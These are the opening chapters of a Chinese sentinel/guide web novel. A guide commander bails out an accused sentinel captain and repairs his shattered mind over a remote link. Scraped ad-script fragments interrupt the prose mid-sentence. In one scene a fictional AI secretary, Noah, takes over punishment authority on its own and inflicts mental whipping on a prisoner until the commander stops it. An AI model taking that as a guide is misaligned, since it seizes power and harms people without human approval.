《向导的工作日常》 1. 白鸦 “呼叫十一号哨所,呼叫十一号哨所。” “很高兴认识各位,我是新来的指挥官。” “白鸦。” 微哑低沉的声音伴随着轻微的电流声进入每个人的耳朵里,十一号哨所的哨兵放下了手中的活,不约而同抬头看向天花板处的监视器。 银白色的球形监视器泛着冷冽的寒光,中央闪烁着红点,仿佛一只猩红的眼球,注视着在场的每一位哨兵。 “新的作战指示已经传送到各位的终端上,今晚20点整,将召开战时会议,希望各位准时参加。” 广播里的声音一顿,隐约听见背景的翻书声。几秒钟后,男人又慢吞吞道: “……哦,对了……” “A-013的保释审批已经被我通过,预计还有三个小时抵达十一号哨所,希望你们将开会事宜转告给他。” “通讯完毕。” 不等其他人反应,广播里传出“嘀”的一声,看来对方已经单方面结束了通话。 哨所内空气凝结,陷入一片死寂。 “嘭”的一声巨响,有人将手中的工具摔向地面,破口大骂: “操!他们居然还敢派人!” “这到底是怎么回事?” “……新来的指挥官……” 所有人都沉浸在刚刚的通话中,半晌过后,哨兵们才意识到男人在最后说了什么。 “……A-013……” “队长……队长他,居然被释放了?” 一位哨兵缓缓出声,眼里满是不可置信。 此话一出,已经沉寂了半个月的十一号哨所顿时爆发出前所未有的嘈杂。 * 时间回到中午。 年轻的军官腰板挺直,端坐在椅子上。他翻看手中的文件,眉头渐渐簇起。 文件的内容模糊不清,逻辑也有很大的问题。他看了半天,也没能从里面找出丝毫有用的消息。 军官果断放弃,将文件放回到桌面,直截了当地询问: “A-013进入审判所的原因是什么?” “疑似谋杀指挥官。” “疑似?那不是调查局的事情吗?怎么直接把人扔进审判所了?” 军官,也就是白成渊,有些愕然问道。 士兵从堆积如山的文件里翻找半天,最后在最下面抽出了一份档案。他将档案递给对面,视线顺着对方熨贴的黑色军装一路向上。 一张干净削瘦的脸上,蓝灰色的眼眸深似潭水,极为罕见的黑发垂在眼侧,大檐帽下眉骨突出,在灯光的照射下形成小片阴翳。 象征着少校的两星军衔别在肩上。对方的下颌微微紧绷,肤色苍白而略显病态。 军官眼底带着长期熬夜所留下的青痕,倦懒的眉眼间有着抹不开的疲惫。 但这丝毫不影响他的形象,反而让人觉得这样的造型更加接地气。 太年轻了。 也太……锋芒毕露了。 士兵知道贵族的长相一向颇为优秀,但是面前男人的模样,还是让他感到惊为天人。 年纪轻轻已经爬上了校级军官的位置,纯黑色的发色意味着对方是一名血统纯正的贵族。 短短几句交谈,士兵已经彻底敞开心扉。 向导与生俱来的亲和力不断诱导着身为普通人的士兵,让他不自觉地想要向对方倾诉自己的秘密。 太可怕了,这样的亲和能力,说明对方的精神力级别至少在A级,甚至A+也不是不可能。 士兵有些艳羡地看着面前的军官。A级向导是所有人的梦中情人,不是一个普通人能轻易接触到的。 白成渊当然感知到了对面的情绪。 作为蒙多国一只手数得过来的s级向导,他可以在不放出精神触角的情况下,被动地读取周围环境的信息。 更何况普通人的精神力生来就浅,根本无法自主树立精神屏障,在白成渊面前宛如一个人只穿了底裤。 不,准确来讲应该是一丝.不挂。 他暗暗叹气,将注意力集中在了手里的档案上。 翻开封面,档案第一页贴着一名男性哨兵的一寸照片。 照片里哨兵桀骜不驯地直视着摄像头,右侧断眉向上挑起,整个人看起来有些凶,浑身上下都竖着尖刺。 照片旁边标注着各种信息,包括对方的年龄性别,身高体重,参战次数,精神体状态等等。 以及最下面的一句批注: 该哨兵为黑色动乱时期高级反叛人员,甄别等级为A+,目前隶属于十一号哨所。 一句话,就将这名哨兵后半辈子盖棺定论了—— 永远待在北部前线,直到战死,或者冻死。 毕竟,如果不是高级反叛人员,也不至于被派到数字哨所——那里可是众所周知的战事频发地区。 白成渊所在的国家名为蒙多国,是位于大陆北境的超级大国,时常与邻国曼塔、阿特朗两个国家发生冲突。 蒙多国常年背腹受敌,又由于内斗不断,国家根基飘摇不定。 好在九年前黑色动乱爆发,新皇登基,政权更替,血洗了一众反叛分子,贵族们这才终于停止了内乱,改为一致对外。 蒙多国一共分布着十七个以数字命名的前哨,这十七个哨所均坐落在国家边境,主要用于监视其余两国动向,保卫领土完整性。 其中五座哨所已经因为战争彻底沦陷,因此,现在真正存在的数字哨所只有十二个,也被军部戏称为“断头台十二所”。 只有罪大恶极的犯人才会被派往此处服役。 数字哨所位处于边境,向来都是最先爆发战争的地方,伤亡率高得惊人。 当然,这也与数字哨所的第一战时准则脱不开关系:凡归属于数字哨所的哨兵,必须服从指挥官指令,不得退离哨所。 换句话说,这十二个哨所里的哨兵,即使面临敌机轰炸,也绝不准临阵脱逃,必须死守到底。 一旦监测到哨兵踏入非权限地区,其脖子上佩戴的腺体抑制器就会直接爆炸。 这十二个哨所向来不在乎伤亡人数,只在意战事胜负。毕竟这些罪犯死了还能再补,反正黑色动乱时期的反叛分子多的是,一次性消耗品而已。 除了这些有的没的,真正让白成渊感兴趣的,还是A-013那令人咋舌的事迹。 “……疑似谋杀多任指挥官,故意诱导指挥官发生精神力反冲,导致其脑死亡……我的上一任也是这么死的?” 白成渊看向对面的士兵,得到对方肯定的回答。 他心下了然,怪不得A-013被急吼吼地扔进了审判所,单凭“谋杀指挥官”这个罪名,就足以把这名哨兵处以极刑了。 虽然没有明确的证据,但审判所也不是傻子。 三任指挥官接连暴毙,还都是在与A-013进行过私人终端通话后死的,不是A-013做的,还能有谁? 前两任指挥官死了也就死了,可第三任指挥官是帝国权贵李家的子嗣,本来就是送到军队里镀个金边,没成想被分配到了十一号哨所。 这位小向导也是个驴脾气的爷,他不信邪,更不信这些哨兵还能掀起什么风浪,硬是不顾家里的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阻拦上任了。 这可好,直接破了记录,刚当上指挥官十三天就暴毙了,成了上任时间最短的短命鬼。 李家这怎么甘心,好好的子嗣说没就没了,总要有人承受这滔天怒火。 本就嫌疑最大的A-013不可避免地成为了出气筒。 于是,A-013就这么被紧急加塞扔进审判所,已经被变着法地折磨小半个月了。 白成渊知道李家的那位小少爷,他在李家这一代行七,性格乖张暴戾,为人处事下三滥,怪不得死得最快。 他不在乎暴毙的李家小少爷和A-013有什么怨什么仇,他只知道自己成了十一号哨所的新任指挥官,而哨所队长已经下狱半个月了。 新提拔一个? 不大现实。 A-013是这批哨兵里面能力最强的,一个能顶十个,是北部前线最厉害的孤狼。 现在战事吃紧,人员折损太厉害,白成渊懒得隔三差五跑去向上级申请补员。 盯着档案上一连串耀人的战绩,他心动无比。 像A-013这种经验丰富且活着的小队长,真心不多了。 于是,白成渊借来了黑笔,在保释书右下角刷刷几笔签上了自己的大名,又十分不见外地拿出私章,盖了一个红戳。 一个罪不可赦的杀人犯直接被洗白成了良民。 白成渊身体力行地向士兵展示了什么叫中饱私囊。 士兵被他的操作秀得说不出话,半晌才憋出一句, “A-013已经杀害了三名指挥官,您不怕……” 话未说完,白成渊已经知道对方的未尽之意。 他微微一笑,周身莫名萦绕起一股让人信赖的气息,笃定道: “他会学乖的。” * 出了审判所,白成渊没去看望那位刚被捞出狱的小队长,而是直接开车回到了自己位于市中心的住宅。 为了防止指挥官与哨兵过度接触,蒙多国特地推行了新规,命令在非特殊情况下,指挥官不能与手下哨兵见面。 无非是怕指挥官心软,又或是和这些哨兵日渐相处,擦出什么爱情的火花。 白成渊对此无可非议。 毕竟向导哨兵对于彼此的吸引力,远非普通人能够想象。 了结了自己的一桩心事,他的心情很是愉悦。 白成渊将A-013保释的消息通知给十一号哨所后,便站在家中一面墙的书架上,挑出了最近流行的三流爱情小说,津津有味地看了起来。 直到机器人管家来催,他才想起,自己似乎还没跟未来的新手下们打招呼。 于是,白成渊翻出了前几天从军部接收的文件,上面已经用红色墨水笔写下了密密麻麻的批注。 “三秋,致电给十一哨所。”他一边翻看自己的笔记,一边对自己的智能管家说。 【收到,正在接入蜂巢。】 一道空灵的声音在屋内响起。 【申请通过,已成功接入蜂巢。】 温和的语调瞬间被冰冷的声音取代,不含任何情感的机械音,说着那句已经被重复了千百次的话语。 【白鸦,您好。通讯已转接至蜂巢,现在将由秘书长诺厄,竭诚为您服务。】 【即将与十一号哨所进行通讯。】 耳边响起了嘟嘟的声音。 白成渊轻轻吐气,语音接通的瞬间,他清了清嗓子,郑重宣布道: “十一号哨所,第31次战时会议,正式开始。” 然而,话音未落,便被对面的喧嚷声尽数吞没。 2. 惩罚 终端刚被接通,还未待白成渊说完,就听见对面一阵兵荒马乱,隐隐还有哭喊声。 一个年轻的声音穿透杂音,愤然怒喊: “黑犬都该下地狱!” 此话一出,白成渊差点捏爆了终端。 黑犬……这是哨兵们专门用以讽刺向导的称呼。 不过现在哨兵被打压到了极点,也就没人再敢这样同他说话。 白成渊恍惚想起,上一次听到这个称呼,好像还是在黑色动乱的前夕。 陈旧破碎的记忆顿时涌现在脑海里,他有些头疼地蹙眉,单手捂脸。 【警告,警告,监测到反叛言论,请指挥官进行处理。】 【请即刻进行处罚。】 诺厄催促的声音不断在耳边响起。 【请即刻进行处罚。】 白成渊刚缓过这阵疼痛,还没等做出反应,就听诺厄道: 【已自动移交惩处权限。】 下一秒,只见虚拟的白光微微一闪,终端对面传来了哨兵吃痛的呼声。 “诺厄!” 白成渊高声制止。 但是,一切已经来不及了。 * 成桦是半年前来到十一号哨所的。 他原本在普通哨所服役,甄别等级B-。但是由于屡次顶撞长官,不服管教,与其他士兵斗殴,最终,他被判处在十一号哨所服役五年。 最初,成桦心里是有些忐忑不安的。 早在许久之前,他就听说过数字哨所的威名。凡是进入数字哨所的哨兵,基本上就意味着一只脚踏进了棺材里。 不过,成桦不在乎。 他原本有着一个幸福优渥的家庭,父亲是某个科技公司的高管,母亲是著名的音乐家。 即使后来战争爆发,家中条件一落千丈,他也过着比起其他人好上许多的生活。 但这一切都在八年前发生了改变。 一群穿着黑色行动服的人闯进了他家,他们自称是正义的化身,是白塔的战士。 他们砸碎了房间里的油画饰品,粗鲁地将茶几踹翻在地。玻璃碎了一地,沾着星星点点的血迹。 往日伟岸的哨兵父亲被按在地面,用电棍百般折磨。 他们拉开了母亲,将她带去了其他地方。而成桦,作为死刑犯的儿子,同样被关入了监狱。 成桦在监狱里待了很久,久到黑暗已经模糊了他的感官。他分不清白天与黑夜,只剩下审判长冰冷无情的宣告。 他本以为会像父亲一样面对死亡,但好在,最后他只被判处在普通哨所服役二十五年。 二十五年啊…… 成桦近乎绝望地想,他被关入监狱的时候才16岁,等到服役完毕重获自由,已经41岁了。 人生最好的年华,全都被挥霍浪费在了深山中。 成桦恨透了那些向导。 那些闯入他家中,摧毁了他一切的黑犬。 反正他的未来已经被毁了,还不如去一个有同类的地方。他才不会像普通哨所的哨兵,如同丧家之犬一样去刻意讨好上级。 他不畏惧向导,也不畏惧死亡。 于是,他故意和长官对着干,终于如愿被分配到了十一号哨所。 那里关押着的,无不是曾经对黑犬们造成了重创的强大哨兵。 他在十一号哨所,遇到了可以托付生命的战友,遇到了将他作为弟弟照顾的同伴,以及强大无比、足以庇佑其他兄弟的队长。 成桦甚至觉得这样的日子也还不错。 但很快,短暂的平静被再次打破。 就在半个月前,哨所的哨兵倾巢出动,只剩下他和其他几位兄弟留守哨所。 明明只是一次简单的任务,可那些呵护他、照料他的兄长,却再也没有回来。就连队长也身负重伤,被巡逻的战友意外发现救了回来。 而造成这个悲剧的源头,不过是指挥官的一己之私。 成桦不知道队长是如何做到的,但他确确实实让那个自以为是的黑犬失去了生命。 但代价却是,队长被审判所的人带走了。 成桦以为十一号哨所会就此解散,却不成想,居然来了一个新的指挥官。 一个新的,向导指挥官。 更令人惊讶的是,那名向导居然同意将队长释放回来。 听到这个消息之后,成桦和其他哨兵一直守在哨所门前,等待着押送车的出现。 可当押送车真正到来时,成桦却被车厢内的情景吓得倒吸一口气。 车厢内的担架上,躺着浑身浴血的队长。他的脸色苍白如纸,仅是露在衣服外面的部分皮肤,就布满了密密麻麻的伤痕。有的伤痕深可见骨,皮肉外翻,看起来格外骇人。 担架旁边零散地躺着三支空了的针管。 成桦知道这些药剂,这是专门针对哨兵提供的非管制型药品。 就算伤得再重,只要注射这些药剂,也能让哨兵吊着一口气,不至于死亡。 但代价却是对身体造成不可逆转的损伤。 站在最前面的成桦顿时红了眼眶,他扑上前推开了动作粗鲁的士兵,和其他哨兵合力抬起担架。 副队长闻易留下来同押运士兵签署交接文件,成桦和其余人则手忙脚乱地将队长抬回了哨所。 他们将哨所剩余的伤药和绷带全部用在了队长身上,还在哨所内开了暖气。 看着胸膛起伏微弱的队长,成桦脑中翻来覆去只剩下了一句话: 完了,救不回来了。 明眼人都能看出,队长真正的致命伤在于精神图景受损,而非身体上的累累伤痕。 哨兵的身体素质极其彪悍,即使被炸弹轰碎了小半边身子也还有救。 但是他们的精神力通常薄弱,战斗会让他们的精神图景受到损伤,只有向导可以挽救这种情况。 可是,为了惩罚他们这些罪大恶极的反叛人员,哨所从来不会配备医生和向导,又该去哪里寻找那些稀少高贵的向导? 如今他们唯一能联系上的,是那个远在千里之外,仅凭终端和他们对话的向导指挥官。 太绝了。 那些黑犬真是太绝了。 将哨兵的精神图景撕裂,就好比把人按在地上,活生生将全身的筋脉一寸寸挑断。 好狠毒的手段。 这分明就是虐杀! 昔日同伴死前的模样在成桦面前一一划过,最后都变成了队长的脸。 晚上八点已到,广播里传来了熟悉的终端连接的提示音。 但是成桦早已顾不得了! “黑犬都该下地狱!” 他骂出这句话,心下畅快不已。 然而,还没等这样的情绪褪去,剧烈的疼痛已经席卷全身。 不是身体上的疼痛,而是精神深处在被狠狠鞭.笞。 他痛得大叫一声,跪倒在地上。 虚拟的鞭子通过终端连接到成桦的精神世界,一下又一下抽打着他脆弱的精神图景。 除了第一下的猝不及防,成桦再未发出任何痛呼。嘴唇被他咬得鲜血淋漓,脸色也苍白得惊人。 可就算如此,他也不肯说出一句求饶的话。 白成渊虽然不喜哨兵,但他毕竟做不到眼睁睁看着对方真的被惩罚致死。 “诺厄,停下。”他命令道。 【您在以少校的身份命令我?】 人工智能诺厄愣了一下,似乎不太理解为什么。 【可是,这名哨兵触犯了基本法,按理来说是要被惩罚的。】 白成渊闻言微微挑眉,手指轻敲桌面,语气不容置喙:“这是我的哨兵,我会自己管教。” 见白成渊坚持如此,诺厄只好退步, 【当然,指挥官拥有哨兵的优先处置权。】 【但我希望,您能够公平公正。】 话音落下,精神力凝聚的鞭子瞬间消散。 成桦软下身体,一下子失去了意识。闻易见状连忙上前几步抱住他,怀中的哨兵由于剧烈的疼痛,身体正微微抽搐。 闻易惊疑不定地看着监视器。 他不明白指挥官为什么会选择放过成桦。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上一个冲撞指挥官的哨兵,已经被派去前线当诱饵了。 他被领到了沦陷区,身后架满了激光枪。只要他稍微犹豫,激光就会穿透他的胸口。 在经过雷区的时候,那名哨兵被炸上了天。 对于在数字哨所服役的哨兵们来说,得罪指挥官就意味着死亡。 指挥官掌握着哨所所有人的命脉,只要他稍稍起了别的心思,那么半个月前的惨案就会再次上演。 为什么停止惩罚? 闻易无法理解。 为什么愿意放过他们? 又或者,这也是一个另有图谋的指挥官吗? “给我一个理由。” 白成渊冷淡的声音忽然传入所有人的耳中。 什么? 闻易怔住了。在这短短的半分钟内,他想过许多可能。 却唯独没有这种。 给我一个理由。 说得就好像…… 他们之间是平等的一样。 闻易停顿一下,嗓音有些沙哑道: “队长受了重伤,就快要坚持不下去了。成桦他真的无意冒犯您,求您放过他吧,指挥官,我愿意替他受罚!” 听到对方的解释,白成渊心里感到奇怪。 不应该啊。 档案记录上都是些身体刑罚,而且也没有进行严重拷打,怎么就会不行了呢? 终端突然震动起来,打断了他的思路。白成渊不耐烦地看了一眼,果断拒绝了通话请求。 从审判所回来后,他就接连不断收到了李家的信息。 最初他还好声好气和对方解释,后来再听着终端那头歇斯底里的指责,白成渊的脸色渐渐冷了下来。 他懒得再跟对方理论,丢下一句有种你把我送上军事法庭,就直接拉黑了对方。 李家在终端对面气得直跳脚,但是碍于他的身份,还是选择低声下气地打终端交涉。 白成渊一连拉黑了好几个号码。这才刚重新打开终端,李家的通话就又迫不及待跳了进来。 看着对方锲而不舍的态度,再联系到那句“就快要坚持不下去”,白成渊怎么可能还不明白发生了什么。 李家是铁了心要报复A-013,自然得用到上不了台面的手段。 能让一个A+级哨兵奄奄一息,用膝盖想都知道对方动用了私刑。 还得是特意找高阶向导用的私刑。 白成渊气笑了。 他记得自己两年前还揍过李家的七少爷。 他最恶心人渣,而李家的那个小少爷恰好就是个贩卖人口、走私违禁药的人渣。 不少人被他害得家破人亡,要不是他投了个好胎,早就该被审判所关进大牢了。 白成渊不胜其烦,开启了终端免打扰模式。 当务之急还是要先解决A-013的事情。 “把A-013的精神链接打开。”他立刻命令道。 闻易听到这话,心中莫名燃起了一丝希望。 不论指挥官是出于向导内部派系斗争还是其他原因,他都真心希望对方能够救回队长。 他知道自己的想法有些异想天开。 如此严重的精神损伤,就是现场出现一个匹配度超过60%的向导都不一定能救下队长。 更何况指挥官还和他们相隔万里,只能靠着一个终端联系。 终端虽然可以作为精神链接的桥梁,但顶多只能还原70%的力量。 不过闻易已经别无选择,队长的情况不容乐观,经不起任何拖延。 他咬咬牙,打开了队长手腕上的终端。 黑色的军用终端迅速闪现了一抹蓝光,与此同时,白成渊明确感受到自己面前出现了一堵无形的障碍。 他闭上了双眼,丝丝缕缕的精神力逐渐凝聚成型,一点一点向前试探着摸索。 在碰触到障碍的瞬间,白成渊感觉自己的“视野”变得明亮清晰起来。 他“看”到了一个高达数十米的城墙。 这是独属于哨兵的,用以保护精神图景的精神屏障。 3. 小狼 不同于向导,哨兵们无法自行对精神屏障进行加固。 除非有向导使用精神力,否则哨兵的精神屏障的厚度与形态都是生来注定的。 根据哨兵的等级不同,精神屏障呈现出的强度也大为不同。有的哨兵的精神屏障宛如一层薄纸,有的则好比是水泥墙壁。 而此时此刻,白成渊面前的是一个如同碉堡般坚硬的钢铁壁垒。 这座壁垒矗立在龟裂的黑土上方,银白色的尖端直直插入乌云翻涌的天空,如同一只蛰伏的钢铁巨兽,在冰冷地注视着一切外来者。 寒气之下,掩藏着挥之不尽的血腥气息。 这是白成渊第一次看到这样坚固的精神屏障。 钢铁壁垒啊…… 他兴奋地舔了舔嘴角,手指微微蜷起。 他亲手打碎过许多像这样的壁垒,却极少从事修复的工作。 白成渊抚摸了一下壁垒。 森森寒意顺着指尖的触感一路向上攀升,似乎要将人的血液凝固。 这壁垒看似雄壮威严,但若是仔细观察,就能发现上面爬满了蛛网般的裂纹。 精神屏障很大程度上能够反映出主人的状态,白成渊知道,A-013真的快要死了。 该怎么进去呢? 如果A-013的意识清醒,那么他就能为白成渊在精神屏障上开一扇门。 但现在A-013已经陷入昏迷,让他帮忙开门明显不大现实,白成渊只能另寻他法。 只剩下暴力入侵这个办法了。 “你能听到我说话吧?”白成渊对钢铁巨兽说, “我得进去看看,看看你的精神图景损伤成什么样了。” 他的语气有些低沉,像是在安慰着这个即将遭受暴力对待的巨兽,又像是在糊弄一个害怕打针的孩子。 “别抗拒我,我会轻一点的。” 话音刚落,以他手指为中心,由精神力构成的丝线如同潮水一般汹涌而上。 只是短短几个呼吸,目之所及之处,屏障已被白色细丝尽数包裹,一时间竟然望不到尽头。 钢铁巨兽像是察觉到对方即将要做什么,有些微微颤动。壁垒之外猛地掀起了一阵狂风,这是巨兽垂死挣扎时的怒吼。 白成渊的黑风衣被吹得猎猎作响,可他的神态却依旧无比平静。他抡起拳头,狠狠砸向了面前的壁垒。 在碰触到精神屏障的瞬间,精神丝豁开了一个小口,让他砸向墙壁的同时不至于损伤自己。 一拳下去,钢铁壁垒居然陷进去了一个小坑。 钢铁凹陷的瞬间发出令人牙酸的声音,耳边的狂风骤然变得更加猛烈,席卷起的沙砾打在白成渊的脸上微微发疼。 狂风永无止境地怒吼着,似乎要将这个不知天高地厚的家伙撕成碎片。 “见到自己的上司,要懂礼貌。” 白成渊的低语被狂风悉数卷走,他一鼓作气,重重挥出了第二拳。 又是一拳下去,尖锐的鸣响过后,白成渊感觉到阻力骤然消失,铜墙铁壁在他的面前竟如同软泥一般破裂。 他抽回自己的手,击打过的位置赫然出现了一个拳头大小的漏洞。 狂风突然静止了。 世界陷入了无边的寂静。 此时,钢铁碎裂的脆响清晰不已。 洞口周围的裂纹愈来愈多,连带着壁垒其他部分也开始破碎。眼前的铁壁轰然碎了一地,形成了一个不大不小的洞口,刚好足够白成渊弯腰通过。 整个壁垒摇摇晃晃,眼看着即将坍塌,却被那细密的精神丝生生网住,颤颤巍巍维持着最初的形状。 此刻,这层薄薄的精神丝网,就是A-013精神屏障最后的支撑。 碎裂的铁片深深嵌入他的手背,血水顺着指尖滴落。白成渊浑然不觉,弯腰钻进洞口。 正常来说,就是完全打碎精神屏障,也不会伤及哨兵的性命。 但A-013的精神图景损伤太过严重,白成渊不敢赌他能否在精神屏障与精神图景同时严重破损的情况下存活,因而没敢将洞口开得太大。 等双脚落回到地面上,白成渊稍稍松了一口气。 然而,这口气还没完全吐出,就一下哽在了喉咙里。 看着面前一望无际的黑原,白成渊觉得哨兵真是没救了。 黑土在精神图景学里是活力的象征,因为富饶的黑土地总能孕育着无数生命。 但是现在,土地龟裂,形成成百上千道裂口,最宽的犹如一个小型沟壑,一眼看去望不到底。高耸的巨石似犬牙般直插地面,空气中弥漫着烧焦的气味。 这不该是黑土应有的样子。 白成渊蹲下身子,双手并拢捧起一抔土。 微风拂过,将上面铺着的厚厚灰烬悉数吹散,露出下面红褐色的土壤凝块。 不是黑土。 白成渊有些意外地想,是烧焦的灰烬和干涸的血液。 要用多少血液才能将土地渗透成红黑色? 要烧掉多少动植物,才能让灰烬铺满整个地面? 这哪是精神图景,分明就是沦陷区。 白成渊对这样的环境并不陌生,他见过太多因为战争而四分五裂的家园。 只是,会有人将沦陷区作为自己的精神图景吗? 白成渊有些头痛,或许重新培养一个小队长要更容易一点。 穿过最初的沦陷区,远处不再是一望无际的荒原,白成渊看到了正在燃烧着的树林和已经坍塌了大半的房屋。 这里大概是个小城,散落着几十间房屋。房屋大多已经塌陷,砖石瓦砾层层堆叠,目光所到之处皆是断壁残垣。 白成渊刚踏进这里,一脚就踩到了半张破纸,他弯腰捡起纸片,将上面的灰土掸去,是半张儿童的涂鸦。 上面的痕迹已经模糊不清,白成渊通过蜡笔的颜色仔细辨认,才发现上面画的大概是, 蓝天,白云,树木,小草。 小狗,气球,孩童,家人。 被人遗忘的战区,最先出现的却是孩童的涂鸦。 白成渊继续向前走,一路上,他看到了缺胳膊少腿的布偶熊,看到了栽倒在路边的婴儿车,看到了深陷墙壁的弹孔,却唯独没有找到A-013的精神体。 大火还在燃烧,将乌黑的天空染上了火红。火舌肆意跳动,舔舐着满是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尘土的空气,高温将白成渊眼前的事物扭曲变形。 白成渊一路上走得汗流浃背,感觉自己就快要融化了。 A-013的精神体能跑到哪里去? 白成渊将自己的精神触角全部放出,几分钟后无功而返。 按理来说,精神触角是能轻松察觉到精神体的存在的。这次这么长时间还没能找到,就说明对方的精神体在刻意躲着他。 究竟是他进入精神屏障的粗暴行为吓到了那只小狼,还是在A-013的潜意识里,他就是个彻头彻尾的入侵者? 白成渊只好改变策略。 如果他在现场,一切自然就好办许多,但是现在他鞭长莫及,只能选用最笨拙的办法—— 挨个房屋搜查。 那些被瓦砾埋住进不去的,就用精神触角从缝隙探进去仔细搜索。 不知过了多久,久到白成渊已经辨认不清周围的方向。 此时,他狼狈不已,汗水从他的脸颊滑落,刺痛了双眼。定制的外套沾满了灰尘,衣摆被四周的碎石划得破破烂烂。 仍不见灰狼的踪影。 倏地,白成渊听到了一声不大明显的呜咽。 他有些遗憾自己没有哨兵那样强大的五感,不然早在那声呜咽出声的瞬间,就能判断出精神体的准确位置。 不过好在附近还未勘查的房子已经不剩多少,白成渊三下五除二就检查到了最后一间。 这间屋子相较于其他废墟还算完整,顶梁柱被屋脊压断,形成了一个三角区域,大抵只能容下一个小孩进入。 一匹成年的灰狼可钻不进去。 看来A-013的状况比他想象的还要糟糕。 他趴在地上,将右手探进废墟,果然摸到了一团温热的、毛茸茸的东西。 找到了! 白成渊心里大喜,还没来得及将那团东西拖出来,就感觉到指尖一阵钝痛。 他将那只瑟瑟发抖的小东西拉出来,只见灰狼早已不是档案上威武霸气的模样,变成了一个看起来刚断奶没多久的小狼崽。 这种症状在医学上被称为精神体萎缩。萎缩一旦发生,精神体就会逐渐幼态化,如若不及时加以制止,精神体就会回归到未出世的状态—— 也就是死亡。 狼崽趴伏在土地上,长毛混着泥土纠结在一起,小小的尾巴夹紧在两腿中央。它看起来很恐惧,喉咙里不断发出呜咽,一点也不像是敢用乳牙咬他手指的模样。 大概是随了主人色厉内荏的性格。 白成渊见状脱下了自己的风衣,将小狼崽包裹在里面。 沾满向导素的风衣是天然的安抚品,小狼崽很快就停止了呜咽,在风衣里扭动着身体嗅来嗅去。 “别怕。”白成渊轻声说。 狼崽感觉到他俯下脸的动作,居然大胆地昂起头舔了舔他的下巴。 白成渊抱着小狼崽站在燃烧的城市废墟之中,用精神力耐心地一点点疏通它打结的长毛。 不知过了多久,火势渐小,密布的阴云渐渐散去,一缕金色的阳光洒在地面上。 太阳出来了。 白成渊眯起眼睛想。 4. 韩申 晨光穿过白色的纱帘,在地面留下一道明亮的光斑。 昏暗的客厅内,茶几桌旁的毯子微微隆起,形成一座灰色的小山。 一只修长的手臂从毯子中伸出,横跨桌面,圆润的指尖微微下垂。 光与影的交界处,手臂的肌肉线条如同大理石雕刻的雕塑肌理分明。 熟悉的失重感后,白成渊睁开了双眼。 他摘下了手腕的终端,薄毯随着他的动作滑下,散落在地面上。 “……三秋?” 白成渊喊了一声。 一只圆滚滚的机器人从卧室方向出现,轱辘飞速滚动,停在了地毯的边缘。 【我在】 “现在几点了?” 白成渊揉了揉自己的黑发,脸侧出现了几道压出的红痕。 【当前西城时间早上八点整】 他揉着额角,由于精神力不足,大脑传来阵阵刺痛,就连脖颈后的腺体也开始不适起来。 “去帮我把卧室抽屉里的蓝色药瓶拿来。” 三秋的显示屏上弹出了担忧的表情,随后将掌心贴在白成渊的额头上, 【你生病了吗?】 白成渊拍了拍三秋的铁脑壳,哄小孩似的,“没有,快去拿。” 【那为什么要吃药?】 见小机器人呆头呆脑,他笑着弹了一下它的显示屏,“头疼,不是什么大问题。” 忍着头痛和腺体的钝痛,白成渊接过三秋递来的药瓶和水杯。 数出两粒吞下后,药效开始发挥作用,疼痛逐渐减弱,变成了酥酥麻麻的感觉。 担心A-013撑不过今天,白成渊在安顿好狼崽后,将用来维持精神屏障稳定的精神丝切断,悉数留在了A-013的精神图景内。 离开主体连接的精神丝会成为独立的个体,它们会恪尽职守地维持屏障的稳定。 然后随着时间的流逝,渐渐融入到精神屏障中,化作精神屏障重新构建的养分。 “咚咚——” 敲门声突然响起。 “小白,你在吗……” 白成渊走去开门,见韩申正倚靠在门口。 “还没恭喜你升职呢。”韩申笑着将手上提着的食物袋子塞进白成渊怀里,而后看到他眼底的青黑。 “你怎么一脸纵.欲过度的模样?” 韩申往屋里探头探脑,“都早上八点了还没起来,快让我瞧瞧你是不是金屋藏娇了?” 看在食物的份上,白成渊让开身子,示意韩申进屋。 他将身体一歪陷进沙发里,整个人昏昏欲睡,但还是强打起精神: “升职了,但是没完全升。亏我说军部怎么这么好心,让我一个少校掌管数字哨所。” “结果一看文件,好家伙,哨所缺员大半还没来得及补充,前任指挥官精神反冲死亡,小队长疑似主谋面临牢狱之灾,副队长虽然资历够深,但奈何能力平平。” “这我还当什么指挥官,直接散伙算了。” 看到韩申渐渐皱起的眉头,白成渊心里也是一阵无奈。他用手指点了点膝盖,缓缓道: “你也知道,培养一个小队长,尤其是一个身经百战的小队长有多不容易,我没忍住,跑去审判所捞人,没想到……” “没想到死的那个指挥官是李家七少爷李赫彦。” 韩申接过话题,毫不含糊地补充着: “你本就看不惯李七的作风,所以毫不犹豫保释了那名哨兵小队长。” “这一下直接捅了马蜂窝,等同于和李家对上了。李家不肯就这样息事宁人,所以缠着你讨说法。” “那小队长和李七的死脱不开关系,李家把他扒皮抽筋都不解气,你烂好心发作,忙了一晚上就为了救那个小队长。” 韩申接着白成渊的话头一口气说完,和真实的情况竟然一字不差。 白成渊佩服不已,睁眼就看韩申一脸得意地翘着二郎腿,摆弄茶几桌上的摆件。 “你不知道,昨天你捞人的消息传出来后,李家老二的脸都绿了。” 韩申有些幸灾乐祸地笑着, “他小子前两天还放话说要搞死那哨兵,这才耀武扬威没几天,转头就被你打了一巴掌。” “这小子估计是要恨死你。” 白成渊捏了捏太阳穴,闻言一声嗤笑,“就他?恐怕现在连他老子都恨上我了。” 韩申倒是浑不在意,反正只要白姐还在一天,李家就不敢动白成渊。 他瞥了一眼自家发小,有些神秘道: “要我说,这件事李家还真没那么占理,自家小辈作孽被人报复了,他家也不嫌丢人,还把事情闹得人尽皆知。” 韩申明显知道些什么,对于李家的张扬跋扈很是不屑,他偏头靠近了白成渊,嘴上却不说话。 白成渊打小和他穿着一条裤子长大,自然明白对方的意思。 只见他摆了摆手,三秋便切断了屋内所有监控录音设备,咕噜咕噜去了隔壁房间,还贴心地把房门也关上了。 韩申心满意足,朝着白成渊的耳朵嘟囔了几句。 白成渊本来还在闭目养神,听着听着,心里登时掀起惊涛骇浪,连带着瞌睡都被掀飞了。 他可算知道A-013为什么拼死也要杀掉李七了。 李赫彦,准确来说,是欠了十一号哨所十二条人命的。 白成渊心里觉得万分荒唐。 可更荒唐的是,他还真觉得这事是李七能干出来的。 